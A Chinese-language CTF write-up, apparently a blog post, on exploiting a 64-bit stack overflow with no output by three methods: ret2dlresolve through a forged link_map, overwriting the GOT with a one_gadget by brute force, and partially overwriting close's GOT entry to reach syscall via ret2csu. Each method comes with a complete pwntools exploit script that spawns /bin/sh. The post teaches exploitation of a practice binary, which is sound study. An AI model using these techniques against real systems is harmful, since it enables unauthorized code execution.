ret2dlresolve 与 改写got表

ret2dlresolve 与 改写got表

前言

大概,大家会对我把ret2dlresolve与改写got表放在一起讲感到疑惑,其实,很多ret2dlresolve都可以用改写got表解决,甚至改写got表的限制更少,应用更加广泛。
由于32位的程序已经不太常见,故本文的题目为64位,这就涉及到了64位的ret2dlresolve,而网上绝大多数资料都只对32位下的ret2dlresolve进行了分析,且ret2dlresolve32位与64位下的利用方式有较大区别,因此,建议不熟悉64位下ret2dlresolve利用方式的读者,在阅读本文前,先参考rapcy师傅的文章进行学习。
本文内容难度较低,主要就是水一篇博客
附:本文相关附件下载地址

题目分析

逆向分析:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  puts("Please say something:");
  read(0, buf, 0x200uLL);
  close(1);
  close(2);
  return 0;
}

检查保护:

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x3ff000)

可以看到,本题在libc-2.27下运行,只开了NX保护,RELROPartial,且反编译出的伪代码非常简单,漏洞也很明显:一个栈溢出,并且还溢出了较多的数据,可是却用close()关闭了输出,意味着没有回显,故不能泄露信息(如libc,因此,很容易想到利用ret2dlresolvegetshell

64位下的ret2dlresolve

说一下在上面推荐的raycp师傅的文章中好像没提到的一点:
64位下,plt中的代码push的是待解析符号在重定位表中的索引,而不是像32位一样push偏移,且Elf64_Rela结构体的大小为24(0x18)个字节,这就解释了下面exp中的0x18*reloc_index,其实就是计算了偏移。
其他的直接按raycp师傅文章的思路照着写即可,这里就不给出详细解释了。
exp:

from pwn import*
context(os='linux', arch='amd64', log_level='debug')

p = process("./test")
elf = ELF("./test")
libc = ELF("./libc-2.27.so")

plt0 = elf.get_section_by_name('.plt').header.sh_addr
pop_rdi_ret = 0x401223
pop_rsi_r15_ret = 0x401221
ret = 0x4011BE

def create_fake_link_map(fake_addr, known_got, reloc_index, offset):
	target = fake_addr - 8	 #the result you write in (any addr)
	fake_link_map = p64(offset & (2**64-1))   #l_addr
	fake_link_map = fake_link_map.ljust(0x30, b'\x00')
	fake_jmprel = p64(target-offset)   #r_offset
	fake_jmprel += p64(7)   #r_info
	fake_jmprel += p64(0)   #r_append
	fake_link_map += fake_jmprel
	fake_link_map = fake_link_map.ljust(0x68, b'\x00')
	fake_link_map += p64(fake_addr)   #l_info[5] dynstr
	fake_link_map += p64(fake_addr+0x78-8)   #l_info[6] dynsym
	fake_link_map += p64(known_got-8)   #dynmic symtab
	fake_link_map += p64(fake_addr+0x30-0x18*reloc_index)   #dynmic jmprel
	fake_link_map = fake_link_map.ljust(0xf8, b'\x00')
	fake_link_map += p64(fake_addr+0x80-8)   #l_info[23] jmprel
	return fake_link_map

fake_reloc_arg = 8   #just as one wishes
fake_link_map_addr = 0x404050
fake_link_map = create_fake_link_map(fake_link_map_addr, elf.got['read'], fake_reloc_arg, libc.sym['system'] - libc.sym['read'])
bin_sh_addr = fake_link_map_addr + len(fake_link_map)

payload = b'\x00'*0x28 + p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_r15_ret) + p64(fake_link_map_addr) + p64(0) + p64(elf.plt['read'])
payload += p64(ret) + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(plt0+6) + p64(fake_link_map_addr) + p64(fake_reloc_arg)
payload = payload.ljust(0x200, b'\x00')
p.sendafter("something:\n", payload)

payload = fake_link_map + b'/bin/sh\x00'
p.send(payload)
p.interactive()

改got表为one_gadget

通过动态调试可以发现,选用0x10a45cone_gadget是可行的,并且libc_base+0x10a45ccloselibc地址只有最后两个字节(4位)不同,而后三位又是确定的45c,故只需要爆破一位1/16的概率),就可以将closegot表改为one_gadget,再调用close()函数,即可getshell,此外,在本题当中,改readgot表改为one_gadget也可以。
exp:

from pwn import *
context(os='linux', arch='amd64') 

elf = ELF("./test")

pop_rdi_ret = 0x401223
pop_rsi_r15_ret = 0x401221
close_addr = 0x4011A9

cnt = 0
while True:
    try:
    	p = process("./test")
    	cnt = cnt + 1
    	success("Count:\t" + str(cnt))
    	payload = b'\x00'*0x28
    	payload += p64(pop_rdi_ret) + p64(0)
    	payload += p64(pop_rsi_r15_ret) + p64(elf.got['close']) + p64(0)
    	payload += p64(elf.plt['read']) + p64(close_addr)
    	p.sendafter('something:\n', payload)
    	p.send(b'\x5c\x34')
    	p.sendline(b'exec 1>&0')
    	p.sendline(b'ls')
    	p.recvuntil(b'flag')
    	break
    except:
        p.close()
p.sendline(b'cat flag')
p.interactive()

改got表为syscall

可以发现,上述两种方法都需要知道libc版本,只不过第二种方法比第一种写起来简洁,但第二种方法没有第一种稳定、通用,而接下来介绍的这种方法并不太依赖于libc
显然,除了上述方法中通过调用system("/bin/sh")和打one_gadgetgetshell以外,还有一种常见方式就是通过触发syscall软中断来getshell,然而,本题的ELF源文件中并没有syscall这个gadget,并且,我们又无法泄露libc信息,用libc中的syscall,因此,我们需要想办法创造出syscall这个gadget
其实,在libc中,readwriteclosealarm等这些函数只是对系统调用进行了简单的封装,在这些函数中都存在syscall这个gadget,且syscall一般离函数的开始地址都很近,故可以将这些函数的got表改为syscall的地址,从而触发系统调用。
我们知道,最终需要控制寄存器如下,才能成功getshell

rax = 0x3b
rdi = bin_sh_addr
rsi = 0
rdx = 0
syscall

故,我们可以用ret2csu先改写closegot表为syscall的地址,有了syscall后,再由read读入的字节数控制rax寄存器(同时读入/bin/sh字符串),并用ret2csu控制rdirsirdx三个参数,最后调用触发syscall即可。
值得一提的是,在不同libc下,即使改同一个函数的got表为syscall地址,所修改的值也很可能不相同。但为何说本方法不太依赖于libc呢?因为我们已经知道了syscall离函数开始的地址很近,所以,即使我们不知道libc版本,也可以爆破最后一个字节(两位)来得到syscall,概率为1/256,也不算太难爆破。
exp:

from pwn import *
context(os='linux', arch='amd64', log_level='debug') 

p = process("./test")
elf = ELF("./test")

gadget1_addr = 0x40121A
gadget2_addr = 0x401200

def com_gadget(addr1 , addr2 , jmp2 , arg1 , arg2 , arg3):
	payload = p64(addr1) + p64(0) + p64(1) + p64(arg1) + p64(arg2) + p64(arg3) + p64(jmp2) + p64(addr2) + b'a'*56
	return payload

payload = b'\x00'*0x28
payload += com_gadget(gadget1_addr, gadget2_addr, elf.got['read'], 0, elf.got['close'], 1)
payload += com_gadget(gadget1_addr, gadget2_addr, elf.got['read'], 0, 0x404050, 0x3b)
payload += com_gadget(gadget1_addr, gadget2_addr, elf.got['close'], 0x404050, 0, 0)
payload.ljust(0x200, b'\x00')
p.send(payload)
p.send(b'\xe2')
p.send(b'/bin/sh\x00' + b'\x00'*(0x3b-8))
p.interactive()

总结

主要就ret2dlresolve以及通过覆盖低位数据来构造出需要的gadget的思想来说几点吧。
对于NO RELERO.dynamic是可修改的,只需要用read函数把其中的.dynstr的地址(STRTABd_ptr)修改为我们可以控制的地址,再在这个地址上伪造一个fake_dynstr,把任意字符串替换为system字符串,再调用.dl_fixup,解析我们修改的字符串所对应的原函数,而_dl_fixup最后是根据字符串也就是函数名来索引函数的,所以最后就会解析system函数了,显然,不论32位还是64位都可以这么办,写起来也非常简单。
重点是,若是开启了FULL RELERO,程序在运行之前就已经调用了ld.so将所需的外部函数加载完成,程序运行期间不再动态加载,因此,在程序的got表中,link_mapdl_runtime_resolve函数的地址都为0,很难再利用ret2dlresolve了(除非修改_dl_rtld_di_serinfo低位,有小概率能恢复出ret2dlresolve)。而此时,got表也不再可写,不过我们可以把这种思想延伸到栈上低位覆盖栈中合适的数据也有一定几率指向syscall,从而配合ret2csugetshell(不过实际操作起来也不那么容易)。

posted @ 2021-12-15 13:56  winmt  阅读(600)  评论(2编辑  收藏  举报